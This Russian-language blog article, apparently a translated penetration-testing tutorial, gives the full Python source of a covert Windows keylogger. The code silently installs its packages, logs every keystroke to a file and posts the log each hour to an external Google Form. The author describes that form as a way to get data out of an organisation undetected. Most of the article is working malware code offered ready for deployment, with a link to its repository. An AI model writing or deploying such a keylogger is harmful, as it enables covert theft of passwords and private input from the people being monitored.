Создание необнаруживаемого кейлоггера Windows и отправка данных во внешнюю форму Google

Р. Эрик Кисер

Для успешного проведения теста на проникновение в организацию рекомендуется использовать авторизованное программное обеспечение и законный доступ для передачи данных. Таким образом, риск обнаружения может быть значительно снижен. В этой статье я расскажу о методах, которые я наблюдал, как злоумышленник использовал во время боя, и о модификациях, которые я внес, чтобы улучшить эту технику для последующих столкновений. Обратите внимание, что сценарий может потребоваться настроить в соответствии с конкретной средой, в которой он используется.

Злоумышленник, впервые применивший этот метод, воспользовался заброшенной общедоступной формой и выложил в сеть результаты кейлоггера для внешнего доступа. Этот инцидент подчеркивает важность удаления информации с истекшим сроком действия, чтобы избежать утечки данных или, в данном случае, даже скрытой утечки данных по незнанию. Многие организации упускают из виду этот жизненно важный аспект, продолжая свою деятельность, не осознавая необходимости регулярного обслуживания данных. Это хороший пример того, почему важно создать жизненный цикл данных, но я отвлекся.

Теперь о написании сценария. Как всегда, первым шагом будет импорт наших модулей. Для этого скрипта нам понадобится шесть модулей; подпроцесс, sys, os, время, запросы и клавиатура.

import subprocess
import sys
import os
import time
import requests
import keyboard

Далее нам нужно создать функцию, которая устанавливает зависимости. Функция install_dependency() установит необходимые пакеты Python с помощью команды pip. В данном случае это модуль клавиатуры и запросов. Мы собираемся использовать библиотеку клавиатуры для захвата ввода с клавиатуры. Мы определяем путь, по которому будут храниться данные ввода с клавиатуры keyboard_Input.txt, и создаем пустой список для хранения ввода с клавиатуры keyboard_Input, а затем присваиваем переменной count значение 0.

def install_dependency(package):
    subprocess.check_call([sys.executable, "-m", "pip", "install", package])

try:
    import keyboard
except ImportError:
    install_dependency("keyboard")
    import keyboard

try:
    import requests
except ImportError:
    install_dependency("requests")
    import requests

path = 'keyboard_Input.txt'
keyboard_Input = []
count = 0

Нам нужно иметь URL-адрес формы и entry_id из формы, чтобы отправить данные в форму. Итак, мы создаем URL-адрес формы Google (form_url) и идентификатор поля формы, которое будет получать данные ввода с клавиатуры (entry_id).

# Update these with your Google Form's action URL and entry IDs
form_url = "https://docs.google.com/forms/your_form_id/formResponse"
entry_id = "entry.your_entry_id"

Теперь мы можем написать функцию ввода с клавиатуры. Функция on_press() предназначена для захвата ввода с клавиатуры. Эта функция добавляет нажатую клавишу в список keyboard_Input, увеличивает переменную count и вызывает функцию write_to_file , когда count больше 0.

def on_press(e):
    global keyboard_Input, count
    keyboard_Input.append(e.name)
    count += 1

    if count > 0:
        count = 0
        write_to_file(keyboard_Input)
        keyboard_Input = []

Затем мы создаем функцию для записи данных ввода с клавиатуры в файл. Эта функция будет принимать список ключей в качестве аргумента, затем перебирать список и записывать каждый ключ в файл. Если клавиша является специальным символом (например, backspace, shift, enter или пробел), функция записывает соответствующую строку вместо фактического символа.

def write_to_file(keys):
    with open(path, 'a') as file:
        for key in keyboard_Input:
            write_down = str(key).replace("'", "")
            if write_down.find('backspace') > 0:
                file.write(' *BACKSPACE* ')
            elif write_down.find('shift') > 0:
                file.write(' *SHIFT* ')
            elif write_down.find('enter') > 0:
                file.write('\n')
            elif write_down.find('space') > 0:
                file.write(' ')
            elif write_down.find('Key'):
                file.write(write_down)

Последняя часть сценария — это то, как мы получаем данные за пределами организации. Большинство организаций разрешают публиковать сообщения в формах Google. Таким образом, задача остается незамеченной в море других данных, поступающих через платформы безопасности. Это достигается с помощью функции send_data_to_google_form. Эта функция считывает файл keyboard_Input.txt, создает словарь с идентификатором поля формы и данными ввода с клавиатуры, отправляет запрос HTTP POST на URL-адрес формы Google с данными полезной нагрузки и печатает сообщение об успешном или неудачном завершении на основе статуса ответа. код.

def send_data_to_google_form():
    with open(path, 'r') as file:
        data = file.read()
        if data:
            payload = {entry_id: data}
            response = requests.post(form_url, data=payload)
            if response.status_code == 200:
                print("Data sent successfully")
                with open(path, 'w') as file:
                    file.truncate()
            else:
                print("Failed to send data")

Еще несколько деталей, чтобы все было готово к развертыванию. Нам нужно вызвать keyboard.on_press, чтобы начать захват ввода с клавиатуры. Нам также нужно установить временной интервал для отправки ввода с клавиатуры. Скрипт входит в бесконечный цикл, который бездействует в течение 1 часа (3600 секунд) перед вызовом функции send_data_to_google_form(). Этот цикл гарантирует, что данные ввода с клавиатуры отправляются в форму Google через равные промежутки времени.

keyboard.on_press(on_press)

while True:
    time.sleep(3600)  # Wait for 1 hour (3600 seconds)
    send_data_to_google_form()

Вот быстрый скриншот результатов. Если вы хотите, чтобы я написал еще одну статью о том, как настроить форму Google и получить entry_id, пожалуйста, подпишитесь, похлопайте и особенно отзовитесь. Хорошей охоты!

Репозиторий GitHub для пентестинга Python:
https://github.com/R-Eric-Kiser/python-pentesting/blob/main/keyloggerGoogleForm.py